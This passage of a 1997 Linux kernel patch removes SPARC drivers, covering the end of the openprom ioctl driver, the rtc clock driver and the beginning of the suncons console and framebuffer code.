&op, sizeof(op)); - if (!error) error = __copy_to_user(op.op_buf, tmp, len); - - kfree(str); - - return error; - - case OPIOCSET: - copy_from_user_ret(&op, (void *)arg, sizeof(op), -EFAULT); - - if (!goodnode(op.op_nodeid,data)) - return -EINVAL; - - error = copyin_string(op.op_name, op.op_namelen, &str); - if (error) - return error; - - error = copyin_string(op.op_buf, op.op_buflen, &tmp); - if (error) { - kfree(str); - return error; - } - - save_and_cli(flags); - len = prom_setprop(op.op_nodeid,str,tmp,op.op_buflen+1); - restore_flags(flags); - - if (len != op.op_buflen) - return -EINVAL; - - kfree(str); - kfree(tmp); - - return 0; - - case OPIOCGETOPTNODE: - copy_to_user_ret((void *)arg, &options_node, - sizeof(int), -EFAULT); - return 0; - - case OPIOCGETNEXT: - case OPIOCGETCHILD: - copy_from_user_ret(&node, (void *)arg, sizeof(int), -EFAULT); - - save_and_cli(flags); - if (cmd == OPIOCGETNEXT) - node = __prom_getsibling(node); - else - node = __prom_getchild(node); - restore_flags(flags); - - __copy_to_user_ret((void *)arg, &node, sizeof(int), -EFAULT); - - return 0; - - default: - printk(KERN_INFO "openprom_bsd_ioctl: cmd 0x%X\n", cmd); - return -EINVAL; - - } -} - - -/* - * Handoff control to the correct ioctl handler. - */ -static int openprom_ioctl(struct inode * inode, struct file * file, - unsigned int cmd, unsigned long arg) -{ - DATA *data = (DATA *) file->private_data; - - switch (cmd) { - case OPROMGETOPT: - case OPROMNXTOPT: - if ((file->f_mode & FMODE_READ) == 0) - return -EPERM; - return openprom_sunos_ioctl(inode, file, cmd, arg, - options_node); - - case OPROMSETOPT: - case OPROMSETOPT2: - if ((file->f_mode & FMODE_WRITE) == 0) - return -EPERM; - return openprom_sunos_ioctl(inode, file, cmd, arg, - options_node); - - case OPROMNEXT: - case OPROMCHILD: - case OPROMGETPROP: - case OPROMNXTPROP: - if ((file->f_mode & FMODE_READ) == 0) - return -EPERM; - return openprom_sunos_ioctl(inode, file, cmd, arg, - data->current_node); - - case OPROMU2P: - case OPROMGETCONS: - case OPROMGETFBNAME: - case OPROMGETBOOTARGS: - if ((file->f_mode & FMODE_READ) == 0) - return -EPERM; - return openprom_sunos_ioctl(inode, file, cmd, arg, 0); - - case OPIOCGET: - case OPIOCNEXTPROP: - case OPIOCGETOPTNODE: - case OPIOCGETNEXT: - case OPIOCGETCHILD: - if ((file->f_mode & FMODE_READ) == 0) - return -EBADF; - return openprom_bsd_ioctl(inode,file,cmd,arg); - - case OPIOCSET: - if ((file->f_mode & FMODE_WRITE) == 0) - return -EBADF; - return openprom_bsd_ioctl(inode,file,cmd,arg); - - default: - printk("openprom_ioctl: cmd 0x%X, arg 0x%lX\n", cmd, arg); - return -EINVAL; - } -} - -static long long openprom_lseek(struct inode * inode, struct file * file, - long long offset, int origin) -{ - return -ESPIPE; -} - -static int openprom_open(struct inode * inode, struct file * file) -{ - DATA *data; - - data = (DATA *) kmalloc(sizeof(DATA), GFP_KERNEL); - if (!data) - return -ENOMEM; - - data->current_node = prom_root_node; - data->lastnode = prom_root_node; - file->private_data = (void *)data; - - MOD_INC_USE_COUNT; - - return 0; -} - -static void openprom_release(struct inode * inode, struct file * file) -{ - kfree_s(file->private_data, sizeof(DATA)); - MOD_DEC_USE_COUNT; -} - -static struct file_operations openprom_fops = { - openprom_lseek, - NULL, /* openprom_read */ - NULL, /* openprom_write */ - NULL, /* openprom_readdir */ - NULL, /* openprom_poll */ - openprom_ioctl, - NULL, /* openprom_mmap */ - openprom_open, - openprom_release -}; - -static struct miscdevice openprom_dev = { - SUN_OPENPROM_MINOR, "openprom", &openprom_fops -}; - -EXPORT_NO_SYMBOLS; - -#ifdef MODULE -int init_module(void) -#else -__initfunc(int openprom_init(void)) -#endif -{ - unsigned long flags; - int error; - - error = misc_register(&openprom_dev); - if (error) { - printk(KERN_ERR "openprom: unable to get misc minor\n"); - return error; - } - - save_and_cli(flags); - options_node = prom_getchild(prom_root_node); - options_node = prom_searchsiblings(options_node,"options"); - restore_flags(flags); - - if (options_node == 0 || options_node == -1) { - printk(KERN_ERR "openprom: unable to find options node\n"); - misc_deregister(&openprom_dev); - return -EIO; - } - - return 0; -} - -#ifdef MODULE -void cleanup_module(void) -{ - misc_deregister(&openprom_dev); -} -#endif diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/rtc.c linux/drivers/sbus/char/rtc.c --- linux-2.1.29/drivers/sbus/char/rtc.c Sat May 10 18:17:11 1997 +++ linux/drivers/sbus/char/rtc.c Wed Dec 31 19:00:00 1969 @@ -1,165 +0,0 @@ -/* $Id: rtc.c,v 1.9 1997/01/26 07:13:40 davem Exp $ - * - * Linux/SPARC Real Time Clock Driver - * Copyright (C) 1996 Thomas K. Dyas (tdyas@eden.rutgers.edu) - * - * This is a little driver that lets a user-level program access - * the SPARC Mostek real time clock chip. It is no use unless you - * use the modified clock utility. - * - * Get the modified clock utility from: - * ftp://vger.rutgers.edu/pub/linux/Sparc/userland/clock.c - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -static int rtc_busy = 0; - -/* Retrieve the current date and time from the real time clock. */ -void get_rtc_time(struct rtc_time *t) -{ - register struct mostek48t02 *regs = mstk48t02_regs; - unsigned long flags; - - save_flags(flags); - cli(); - regs->creg |= MSTK_CREG_READ; - - t->sec = MSTK_REG_SEC(regs); - t->min = MSTK_REG_MIN(regs); - t->hour = MSTK_REG_HOUR(regs); - t->dow = MSTK_REG_DOW(regs); - t->dom = MSTK_REG_DOM(regs); - t->month = MSTK_REG_MONTH(regs); - t->year = MSTK_CVT_YEAR( MSTK_REG_YEAR(regs) ); - - regs->creg &= ~MSTK_CREG_READ; - restore_flags(flags); -} - -/* Set the current date and time inthe real time clock. */ -void set_rtc_time(struct rtc_time *t) -{ - register struct mostek48t02 *regs = mstk48t02_regs; - unsigned long flags; - - save_flags(flags); - cli(); - regs->creg |= MSTK_CREG_WRITE; - - MSTK_SET_REG_SEC(regs,t->sec); - MSTK_SET_REG_MIN(regs,t->min); - MSTK_SET_REG_HOUR(regs,t->hour); - MSTK_SET_REG_DOW(regs,t->dow); - MSTK_SET_REG_DOM(regs,t->dom); - MSTK_SET_REG_MONTH(regs,t->month); - MSTK_SET_REG_YEAR(regs,t->year - MSTK_YEAR_ZERO); - - regs->creg &= ~MSTK_CREG_WRITE; - restore_flags(flags); -} - -static long long rtc_lseek(struct inode *inode, struct file *file, - long long offset, int origin) -{ - return -ESPIPE; -} - -static int rtc_ioctl(struct inode *inode, struct file *file, unsigned int cmd, - unsigned long arg) -{ - struct rtc_time rtc_tm; - - switch (cmd) - { - case RTCGET: - get_rtc_time(&rtc_tm); - - copy_to_user_ret((struct rtc_time*)arg, &rtc_tm, sizeof(struct rtc_time), -EFAULT); - - return 0; - - - case RTCSET: - if (!suser()) - return -EPERM; - - copy_from_user_ret(&rtc_tm, (struct rtc_time*)arg, sizeof(struct rtc_time), -EFAULT); - - set_rtc_time(&rtc_tm); - - return 0; - - default: - return -EINVAL; - } -} - -static int rtc_open(struct inode *inode, struct file *file) -{ - if (rtc_busy) - return -EBUSY; - - rtc_busy = 1; - - MOD_INC_USE_COUNT; - - return 0; -} - -static void rtc_release(struct inode *inode, struct file *file) -{ - MOD_DEC_USE_COUNT; - rtc_busy = 0; -} - -static struct file_operations rtc_fops = { - rtc_lseek, - NULL, /* rtc_read */ - NULL, /* rtc_write */ - NULL, /* rtc_readdir */ - NULL, /* rtc_poll */ - rtc_ioctl, - NULL, /* rtc_mmap */ - rtc_open, - rtc_release -}; - -static struct miscdevice rtc_dev = { RTC_MINOR, "rtc", &rtc_fops }; - -EXPORT_NO_SYMBOLS; - -#ifdef MODULE -int init_module(void) -#else -__initfunc(int rtc_init(void)) -#endif -{ - int error; - - error = misc_register(&rtc_dev); - if (error) { - printk(KERN_ERR "rtc: unable to get misc minor\n"); - return error; - } - - return 0; -} - -#ifdef MODULE -void cleanup_module(void) -{ - misc_deregister(&rtc_dev); -} -#endif diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/suncons.c linux/drivers/sbus/char/suncons.c --- linux-2.1.29/drivers/sbus/char/suncons.c Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/char/suncons.c Wed Dec 31 19:00:00 1969 @@ -1,1723 +0,0 @@ -/* $Id: suncons.c,v 1.50 1997/02/26 08:55:22 ecd Exp $ - * - * suncons.c: Sun SparcStation console support. - * - * Copyright (C) 1995 Peter Zaitcev (zaitcev@lab.ipmce.su) - * Copyright (C) 1995 David S. Miller (davem@caip.rutgers.edu) - * Copyright (C) 1995, 1996 Miguel de Icaza (miguel@nuclecu.unam.mx) - * Copyright (C) 1996 Dave Redman (djhr@tadpole.co.uk) - * Copyright (C) 1996 Jakub Jelinek (jj@sunsite.mff.cuni.cz) - * Copyright (C) 1996 Eddie C. Dost (ecd@skynet.be) - * - * Added font loading Nov/21, Miguel de Icaza (miguel@nuclecu.unam.mx) - * Added render_screen and faster scrolling Nov/27, miguel - * Added console palette code for cg6 Dec/13/95, miguel - * Added generic frame buffer support Dec/14/95, miguel - * Added cgsix and bwtwo drivers Jan/96, miguel - * Added 4m, and cg3 driver Feb/96, miguel - * Fixed the cursor on color displays Feb/96, miguel. - * Cleaned up the detection code, generic 8bit depth display - * code, Mar/96 miguel - * Hacked support for cg14 video cards -- Apr/96, miguel. - * Color support for cg14 video cards -- May/96, miguel. - * Code split, Dave Redman, May/96 - * Be more VT change friendly, May/96, miguel. - * Support for hw cursor and graphics acceleration, Jun/96, jj. - * Added TurboGX+ detection (cgthree+), Aug/96, Iain Lea (iain@sbs.de) - * Added TCX support (8/24bit), Aug/96, jj. - * Support for multiple framebuffers, Sep/96, jj. - * Fix bwtwo inversion and handle inverse monochrome cells in - * sun_blitc, Nov/96, ecd. - * Fix sun_blitc and screen size on displays other than 1152x900, - * 128x54 chars, Nov/96, jj. - * Fix cursor spots left on some non-accelerated fbs, changed - * software cursor to be like the hw one, Nov/96, jj. - * - * Much of this driver is derived from the DEC TGA driver by - * Jay Estabrook who has done a nice job with the console - * driver abstraction btw. - * - * We try to make everything a power of two if possible to - * speed up the bit blit. Doing multiplies, divides, and - * remainder routines end up calling software library routines - * since not all Sparcs have the hardware to do it. - * - * TODO: - * do not blank the screen when frame buffer is mapped. - * - */ - - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "../../char/kbd_kern.h" -#include "../../char/vt_kern.h" -#include "../../char/consolemap.h" -#include "../../char/selection.h" -#include "../../char/console_struct.h" - -#include "fb.h" - -#define cmapsz 8192 - -#include "suncons_font.h" -#include "linux_logo.h" - -fbinfo_t *fbinfo; -int fbinfos; - -#define ASM_BLITC - -int sun_hw_cursor_shown = 0; - -void sun_hw_hide_cursor(void); -void sun_hw_set_cursor(int,int); - -extern void register_console(void (*proc)(const char *)); -extern void console_print(const char *); -extern void putconsxy(int, char *); -extern unsigned char vga_font[]; -extern int serial_console; -char *console_fb_path = NULL; /* Set in setup.c */ - -/* The following variables describe a Sparc console. */ - -/* Screen dimensions and color depth. */ -static int con_depth, con_width, con_height, con_type; - -/* Base address of first line. */ -static unsigned char *con_fb_base; - -/* Screen parameters: we compute those at startup to make the code faster */ -static int chars_per_line; /* number of bytes per line */ -static int ints_per_line; /* number of ints per line */ -static int ints_per_cursor; /* 14 * ints_per_line */ -static int skip_bytes; /* number of bytes we skip for the y margin + x_margin */ -static int x_margin, y_margin; /* the x and y margins */ -static int bytes_per_row; /* bytes used by one screen line (of 16 scan lines) */ -int sun_prom_console_id = 0; - -/* Functions used by the SPARC dependent console code - * to perform the fb_restore_palette function. - */ -void (*fb_restore_palette)(fbinfo_t *fbinfo); -void set_palette (void); - - /* Our screen looks like at 1152 X 900: - * - * 0,0 - * ------------------------------------------------------------------ - * | ^^^^^^^^^^^ | - * | 18 y-pixels | - * | ^^^^^^^^^^^ | - * 13 | <-64 pixels->| <-- 128 8x16 characters --> | <-64 pixels-> | - * .... - * 54 chars from top to bottom - * .... - * 888 | <-64 pixels->| <-- 128 8x16 characters --> | <-64 pixels-> | - * | ^^^^^^^^^^^ | - * | 18 y-pixels | - * | ^^^^^^^^^^^ | - * ------------------------------------------------------------------ - */ -/* First for MONO displays. */ -#define SCREEN_WIDTH 1152 /* Screen width in pixels */ -#define SCREEN_HEIGHT 900 /* Screen height in pixels */ -#define CHARS_PER_LINE 144 /* Make this empirical for speed */ -#define NICE_Y_MARGIN 18 /* We skip 18 y-pixels at top/bottom */ -#define NICE_X_MARGIN 8 /* We skip 64 x-pixels at left/right */ -#define FBUF_TOP_SKIP 2592 /* Empirical, (CHARS_PER_LINE * NICE_Y_MARGIN) */ -#define CHAR_HEIGHT 16 -#define ONE_ROW 2304 /* CHARS_PER_LINE * CHAR_HEIGHT */ - -/* Now we have this, to compute the base frame buffer position - * for a new character to be rendered. 1 and 8 bit depth. - */ -#define FBUF_OFFSET(cindex) \ - (((FBUF_TOP_SKIP) + (((cindex)>>7) * ONE_ROW)) + \ - ((NICE_X_MARGIN) + (((cindex)&127)))) - - -#define COLOR_FBUF_OFFSET(cindex) (*color_fbuf_offset)(cindex) - -/* These four routines are optimizations for the _generic routine for - * the most common cases. - * I guess doing twice sll is much faster than doing .mul, sra faster - * than doing .div, and the disadvantage that someone has to call it - * (it cannot be inline) runs away, 'cause otherwise it would have to - * call .mul anyway. - * The shifting + addition only routines won't eat any stack frame :)) - * Names come from width, screen_num_columns. - */ -static int -color_fbuf_offset_1280_144 (int cindex) -{ - register int i = (cindex/144); - /* (1280 * CHAR_HEIGHT) == 101.0000.0000.0000 */ - return skip_bytes + (i << 14) + (i << 12) + ((cindex % 144) << 3); -} - -static int -color_fbuf_offset_1152_128 (int cindex) -{ - register int i = (cindex>>7); - /* (1152 * CHAR_HEIGHT) == 100.1000.0000.0000 */ - return skip_bytes + (i << 14) + (i << 11) + ((cindex & 127) << 3); -} - -static int -color_fbuf_offset_1024_128 (int cindex) -{ - register int i = (cindex>>7); - /* (1024 * CHAR_HEIGHT) == 100.0000.0000.0000 */ - return skip_bytes + (i << 14) + ((cindex & 127) << 3); -} - -static int -color_fbuf_offset_800_96 (int cindex) -{ - register int i = (cindex / 96); - /* (800 * CHAR_HEIGHT) == 11.0010.0000.0000 */ - return skip_bytes + (i<<13) + (i<<12) + (i<<9) + ((cindex % 96)<<3); -} - -static int -color_fbuf_offset_640_80 (int cindex) -{ - register int i = (cindex/80); - /* (640 * CHAR_HEIGHT) == 10.1000.0000.0000 */ - return skip_bytes + (i << 13) + (i << 11) + ((cindex % 80) << 3); -} - -static int -color_fbuf_offset_generic (int cindex) -{ - return skip_bytes + (cindex / video_num_columns) * bytes_per_row + ((cindex % video_num_columns) << 3); -} - -static int (*color_fbuf_offset)(int) = color_fbuf_offset_generic; - -static int do_accel = 0; - -void -__set_origin(unsigned short offset) -{ - /* - * should not be called, but if so, do nothing... - */ -} - -/* For the cursor, we just invert the 8x16 block at the cursor - * location. Easy enough... - * - * Hide the cursor from view, during blanking, usually... - */ -static int cursor_pos = -1; - -static unsigned int under_cursor[4]; - -void -hide_cursor(void) -{ - unsigned long flags; - int j; - - if (fbinfo[0].setcursor) { - sun_hw_hide_cursor(); - return; - } - - if (vt_cons[fg_console]->vc_mode == KD_GRAPHICS) - return; /* Don't paint anything on fb which is not ours, - but turn off the hw cursor in such case */ - - save_and_cli(flags); - - if(cursor_pos == -1) { - restore_flags (flags); - return; - } - switch (con_depth){ - case 1: { - unsigned char *dst; - dst = (unsigned char *)((unsigned long)con_fb_base + - FBUF_OFFSET(cursor_pos)); - for(j = 0; j < CHAR_HEIGHT; j++, dst += CHARS_PER_LINE) - *dst = ~(*dst); - break; - } - case 8: { - unsigned int *dst; - - dst = (unsigned int *)((unsigned long)con_fb_base + - COLOR_FBUF_OFFSET(cursor_pos)) + ints_per_cursor; - dst[0] = under_cursor[0]; - dst[1] = under_cursor[1]; - dst[ints_per_line] = under_cursor[2]; - dst[ints_per_line+1] = under_cursor[3]; - break; - } - default: - break; - } - cursor_pos = -1; - restore_flags(flags); -} - -void -set_cursor(int currcons) -{ - int j, idx, oldpos; - unsigned long flags; - - if (currcons != fg_console || console_blanked || vcmode == KD_GRAPHICS) - return; - -#if 0 -/* This is a nop anyway */ - if (__real_origin != __origin) - __set_origin(__real_origin); -#endif - - if (fbinfo[0].setcursor) { - if (!deccm) - hide_cursor(); - else { - idx = (pos - video_mem_base) >> 1; - - sun_hw_set_cursor(x_margin + ((idx % video_num_columns) << 3), y_margin + ((idx / video_num_columns) * CHAR_HEIGHT)); - } - return; - } - - save_and_cli(flags); - - idx = (pos - video_mem_base) >> 1; - oldpos = cursor_pos; - if (!deccm) { - hide_cursor (); - restore_flags (flags); - return; - } - cursor_pos = idx; - switch (con_depth){ - case 1: { - unsigned char *dst, *opos; - - dst = (unsigned char *)((unsigned long)con_fb_base + FBUF_OFFSET(idx)); - opos = (unsigned char *)((unsigned long)con_fb_base + FBUF_OFFSET(oldpos)); - if(oldpos != -1) { - /* Restore what was at the old position */ - for(j=0; j < CHAR_HEIGHT; j++, opos += CHARS_PER_LINE) { - *opos = ~*opos; - } - } - for(j=0; j < 16; j++, dst+=CHARS_PER_LINE) { - *dst = ~*dst; - } - break; - } - case 8: { - unsigned int *dst, *opos; - dst = (unsigned int *)((unsigned long)con_fb_base + COLOR_FBUF_OFFSET(idx)) + ints_per_cursor; - - if(oldpos != -1) { - opos = (unsigned int *)((unsigned long)con_fb_base + COLOR_FBUF_OFFSET(oldpos)) + ints_per_cursor; - opos[0] = under_cursor[0]; - opos[1] = under_cursor[1]; - opos[ints_per_line] = under_cursor[2]; - opos[ints_per_line+1] = under_cursor[3]; - } - under_cursor[0] = dst[0]; - under_cursor[1] = dst[1]; - under_cursor[2] = dst[ints_per_line]; - under_cursor[3] = dst[ints_per_line+1]; - dst[0] = 0x00000000; - dst[1] = 0x00000000; - dst[ints_per_line] = 0x00000000; - dst[ints_per_line+1] = 0x00000000; - break; - } - default: - } - restore_flags(flags); -} - -/* - * Render the current screen - * Only used at startup and when switching from KD_GRAPHICS to KD_TEXT - * to avoid the caching that is being done in selection.h - */ -void -render_screen(void) -{ - int count; - unsigned short *contents; - - count = video_num_columns * video_num_lines; - contents = (unsigned short *) video_mem_base; - - for (;count--; contents++) - sun_blitc (*contents, (unsigned long) contents); -} - -__initfunc(void serial_finish_init(void (*printfunc)(const char *))) -{ - char buffer[2048]; - - sprintf (buffer, linux_serial_image, UTS_RELEASE); - (*printfunc)(buffer); -} - -__initfunc(void con_type_init_finish(void)) -{ - int i, cpu; - char *p = con_fb_base + skip_bytes; - char q[2] = {0,5}; - int currcons = 0; - unsigned short *ush; - - if (serial_console) - return; - if (con_type == FBTYPE_SUNLEO) { - int rects [4]; - - rects [0] = 0; - rects [1] = 0; - rects [2] = con_width; - rects [3] = con_height; - (*fbinfo[0].fill)(reverse_color_table[0], 1, rects); - return; /* Dunno how to display logo on leo/zx yet */ - } - if (con_depth == 8 && fbinfo[0].loadcmap) { - for (i = 0; i < LINUX_LOGO_COLORS; i++) { - fbinfo[0].color_map CM(i+32,0) = linux_logo_red [i]; - fbinfo[0].color_map CM(i+32,1) = linux_logo_green [i]; - fbinfo[0].color_map CM(i+32,2) = linux_logo_blue [i]; - } - (*fbinfo [0].loadcmap)(&fbinfo [0], 0, LINUX_LOGO_COLORS + 32); - for (i = 0; i < 80; i++, p += chars_per_line){ - for (cpu = 0; cpu < linux_num_cpus; cpu++){ - memcpy (p + (cpu * 88), linux_logo + 80 * i, 80); - } - } - } else if (con_depth == 1) { - for (i = 0; i < 80; i++, p += chars_per_line) - memcpy (p, linux_logo_bw + 10 * i, 10); - } - putconsxy(0, q); - ush = (unsigned short *) video_mem_base + video_num_columns * 2 + 20 + 11 * (linux_num_cpus - 1); - - for (p = "Linux/SPARC version " UTS_RELEASE; *p; p++, ush++) { - *ush = (attr << 8) + *p; - sun_blitc (*ush, (unsigned long) ush); - } - for (i = 0; i < 5; i++) { - ush = (unsigned short *) video_mem_base + i * video_num_columns; - memset (ush, 0, 20); - } -} - -__initfunc(unsigned long -con_type_init(unsigned long kmem_start, const char **display_desc)) -{ - can_do_color = (con_type != FBTYPE_SUN2BW); - - video_type = VIDEO_TYPE_SUN; - *display_desc = "SUN"; - - if (!serial_console) { - /* If we fall back to PROM then our output have to remain readable. */ - prom_putchar('\033'); prom_putchar('['); prom_putchar('H'); - - /* - * fake the screen memory with some CPU memory - */ - video_mem_base = kmem_start; - kmem_start += video_screen_size; - video_mem_term = kmem_start; - } - return kmem_start; -} - -/* - * NOTE: get_scrmem() and set_scrmem() are here only because - * the VGA version of set_scrmem() has some direct VGA references. - */ -void -get_scrmem(int currcons) -{ - memcpyw((unsigned short *)vc_scrbuf[currcons], - (unsigned short *)origin, video_screen_size); - origin = video_mem_start = (unsigned long)vc_scrbuf[currcons]; - scr_end = video_mem_end = video_mem_start + video_screen_size; - pos = origin + y*video_size_row + (x<<1); -} - -void -set_scrmem(int currcons, long offset) -{ - if (video_mem_term - video_mem_base < offset + video_screen_size) - offset = 0; - memcpyw((unsigned short *)(video_mem_base + offset), - (unsigned short *) origin, video_screen_size); - video_mem_start = video_mem_base; - video_mem_end = video_mem_term; - origin = video_mem_base + offset; - scr_end = origin + video_screen_size; - pos = origin + y*video_size_row + (x<<1); -} - -/* - * PIO_FONT support. - */ -int -set_get_font(char * arg, int set, int ch512) -{ - int i, line; - - if (!arg) - return -EINVAL; - - /* download the current font */ - if (!set){ - if(clear_user(arg, cmapsz)) - return -EFAULT; - for (i = 0; i < 256; i++) { - for (line = 0; line < CHAR_HEIGHT; line++) { - unsigned char value = vga_font[i]; - - /* Access checked by the above clear_user */ - __put_user_ret (value, (arg + (i * 32 + line)), - -EFAULT); - } - } - return 0; - } - - /* set the font */ - - if (verify_area (VERIFY_READ, arg, 256 * CHAR_HEIGHT)) return -EFAULT; - for (i = 0; i < 256; i++) { - for (line = 0; line < CHAR_HEIGHT; line++){ - unsigned char value; - __get_user_ret(value, (arg + (i * 32 + line)),-EFAULT); - vga_font [i*CHAR_HEIGHT + line] = value; - } - } - return 0; -} - -/* - * Adjust the screen to fit a font of a certain height - * - * Returns < 0 for error, 0 if nothing changed, and the number - * of lines on the adjusted console if changed. - * - * for now, we only support the built-in font... - */ -int -con_adjust_height(unsigned long fontheight) -{ - return -EINVAL; -} - -int -set_get_cmap(unsigned char * arg, int set) -{ - int i; - - if(set) - i = VERIFY_READ; - else - i = VERIFY_WRITE; - if(verify_area(i, arg, (16 * 3 * sizeof(unsigned char)))) - return -EFAULT; - for (i=0; i<16; i++) { - if (set) { - __get_user_ret(default_red[i], (arg+0),-EFAULT); - __get_user_ret(default_grn[i], (arg+1),-EFAULT); - __get_user_ret(default_blu[i], (arg+2),-EFAULT); - } else { - __put_user_ret(default_red[i], (arg+0),-EFAULT); - __put_user_ret(default_grn[i], (arg+1),-EFAULT); - __put_user_ret(default_blu[i], (arg+2),-EFAULT); - } - arg += 3; - } - if (set) { - for (i=0; ivc_palette[k++] = default_red[j]; - vc_cons[i].d->vc_palette[k++] = default_grn[j]; - vc_cons[i].d->vc_palette[k++] = default_blu[j]; - } - } - set_palette(); - } - - return 0; -} - -void -sun_clear_screen(void) -{ - if (fbinfo[0].fill) { - int rects [4]; - - rects [0] = 0; - rects [1] = 0; - rects [2] = con_width; - rects [3] = con_height; - (*fbinfo[0].fill)(reverse_color_table[0], 1, rects); - } else if (fbinfo[0].base && fbinfo[0].base_depth) - memset (con_fb_base, - (con_depth == 1) ? ~(0) : reverse_color_table[0], - (con_depth * con_height * con_width) / 8); - /* also clear out the "shadow" screen memory */ - memset((char *)video_mem_base, 0, (video_mem_term - video_mem_base)); - cursor_pos = -1; -} - -void -sun_clear_fb(int n) -{ - if (!n) sun_clear_screen (); -#if 0 -/* This makes in some configurations serious problems. - * Who cares if other screens are cleared? - */ - else if (fbinfo[n].fill) { - int rects [4]; - - rects [0] = 0; - rects [1] = 0; - rects [2] = fbinfo[n].type.fb_width; - rects [3] = fbinfo[n].type.fb_height; - (*fbinfo[n].fill)(reverse_color_table[0], 1, rects); - } -#endif - else if (fbinfo[n].base && fbinfo[n].base_depth) { - memset((void *)fbinfo[n].base, - (fbinfo[n].base_depth == 1) ? - ~(0) : reverse_color_table[0], - (fbinfo[n].base_depth * fbinfo[n].type.fb_height - * fbinfo[n].type.fb_width) / 8); - } -} - -void -sun_clear_margin(void) -{ - int h, he, i; - unsigned char *p; - - if (fbinfo[0].fill) { - int rects [16]; - - memset (rects, 0, sizeof (rects)); - rects [2] = con_width; - rects [3] = y_margin; - rects [5] = y_margin; - rects [6] = x_margin; - rects [7] = con_height; - rects [8] = con_width - x_margin; - rects [9] = y_margin; - rects [10] = con_width; - rects [11] = con_height; - rects [12] = x_margin; - rects [13] = con_height - y_margin; - rects [14] = con_width - x_margin; - rects [15] = con_height; - (*fbinfo[0].fill)(reverse_color_table[0], 4, rects); - } else { - memset (con_fb_base, - (con_depth == 1) ? ~(0) : reverse_color_table[0], - skip_bytes - (x_margin<<1)); - memset (con_fb_base + chars_per_line * con_height - - skip_bytes + (x_margin<<1), - (con_depth == 1) ? ~(0) : reverse_color_table[0], - skip_bytes - (x_margin<<1)); - he = con_height - 2 * y_margin; - i = 2 * x_margin; - if (con_depth == 1) { - for (p = con_fb_base+skip_bytes-(x_margin<<1), h = 0; - h <= he; p += chars_per_line, h++) - memset (p, ~(0), i); - } else { - for (p = con_fb_base+skip_bytes-(x_margin<<1), h = 0; - h <= he; p += chars_per_line, h++) - memset (p, reverse_color_table[0], i); - } - } - if (fbinfo [0].switch_from_graph) - (*fbinfo [0].switch_from_graph)(); -} - -/* - * dummy routines for the VESA blanking code, which is VGA only, - * so we don't have to carry that stuff around for the Sparc... - */ -void vesa_blank(void) -{ -} - -void vesa_unblank(void) -{ -} - -void set_vesa_blanking(const unsigned long arg) -{ -} - -void vesa_powerdown(void) -{ -} - -/* - * We permutate the colors, so we match the PROM's idea of - * black and white. - */ -unsigned char reverse_color_table[] = { - 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 0 -}; - -static unsigned char sparc_color_table[] = { - 15, 0, 4, 2, 6, 1, 5, 3, 7, 8, 12, 10, 14, 9, 13, 11 -}; - -/* Call the frame buffer routine for setting the palette */ -void -set_palette (void) -{ - if (console_blanked || vt_cons [fg_console]->vc_mode == KD_GRAPHICS) - return; - - if (fbinfo [0].loadcmap){ - int i, j; - - /* First keep color_map with the palette colors */ - for (i = 0; i < 16; i++){ - j = sparc_color_table [i]; - fbinfo[0].color_map CM(i,0) = default_red [j]; - fbinfo[0].color_map CM(i,1) = default_grn [j]; - fbinfo[0].color_map CM(i,2) = default_blu [j]; - } - (*fbinfo [0].loadcmap)(&fbinfo [0], 0, 16); - } -} - -void -set_other_palette (int n) -{ - if (!n) { - set_palette (); - return; - } - if (fbinfo [n].loadcmap){ - fbinfo[n].color_map CM(0,0) = 0; - fbinfo[n].color_map CM(0,1) = 0; - fbinfo[n].color_map CM(0,2) = 0; - (*fbinfo [n].loadcmap)(&fbinfo [n], 0, 1); - } -} - -/* Called when returning to prom */ -void -console_restore_palette (void) -{ - if (fb_restore_palette) - (*fb_restore_palette) (&fbinfo[0]); -} - -/* This routine should be moved to srmmu.c */ -static __inline__ uint -srmmu_get_pte (unsigned long addr) -{ - register unsigned long entry; - - __asm__ __volatile__("\n\tlda [%1] %2,%0\n\t" : - "=r" (entry): - "r" ((addr & 0xfffff000) | 0x400), "i" (ASI_M_FLUSH_PROBE)); - return entry; -} - -uint -get_phys (uint addr) -{ - switch (sparc_cpu_model){ - case sun4c: - return sun4c_get_pte (addr) << PAGE_SHIFT; - case sun4m: - return ((srmmu_get_pte (addr) & 0xffffff00) << 4); - default: - panic ("get_phys called for unsupported cpu model\n"); - return 0; - } -} - -int -get_iospace (uint addr) -{ - switch (sparc_cpu_model){ - case sun4c: - return -1; /* Don't check iospace on sun4c */ - case sun4m: - return (srmmu_get_pte (addr) >> 28); - default: - panic ("get_iospace called for unsupported cpu model\n"); - return -1; - } -} - -__initfunc(unsigned long sun_cg_postsetup(fbinfo_t *fb, unsigned long start_mem)) -{ - fb->color_map = (char *)start_mem; - return start_mem + 256*3; -} - -static char *known_cards [] __initdata = { - "cgsix", "cgthree", "cgRDI", "cgthree+", "bwtwo", "SUNW,tcx", - "cgfourteen", "SUNW,leo", 0 -}; -static char *v0_known_cards [] __initdata = { - "cgsix", "cgthree", "cgRDI", "cgthree+", "bwtwo", 0 -}; - -__initfunc(static int known_card (char *name, char **known_cards)) -{ - int i; - - for (i = 0; known_cards [i]; i++) - if (strcmp (name, known_cards [i]) == 0) - return 1; - return 0; -} - -static struct { - int depth; - int resx, resy; - int x_margin, y_margin; -} scr_def [] = { - { 8, 1280, 1024, 64, 80 }, - { 8, 1152, 1024, 64, 80 }, - { 8, 1152, 900, 64, 18 }, - { 8, 1024, 768, 0, 0 }, - { 8, 800, 600, 16, 12 }, - { 8, 640, 480, 0, 0 }, - { 1, 1152, 900, 8, 18 }, - { 0 }, -}; - -__initfunc(static int cg14_present(void)) -{ - int root, n; - - root = prom_getchild (prom_root_node); - if ((n = prom_searchsiblings (root, "obio")) == 0) - return 0; - - n = prom_getchild (n); - if ((n = prom_searchsiblings (n, "cgfourteen")) == 0) - return 0; - return n; -} - -__initfunc(static void - sparc_framebuffer_setup(int primary, int con_node, - int type, struct linux_sbus_device *sbdp, - uint base, uint con_base, int prom_fb, - int parent_node)) -{ - static int frame_buffers = 1; - int n, i; - int linebytes; - uint io = 0; - char *p; - - if (primary) - n = 0; 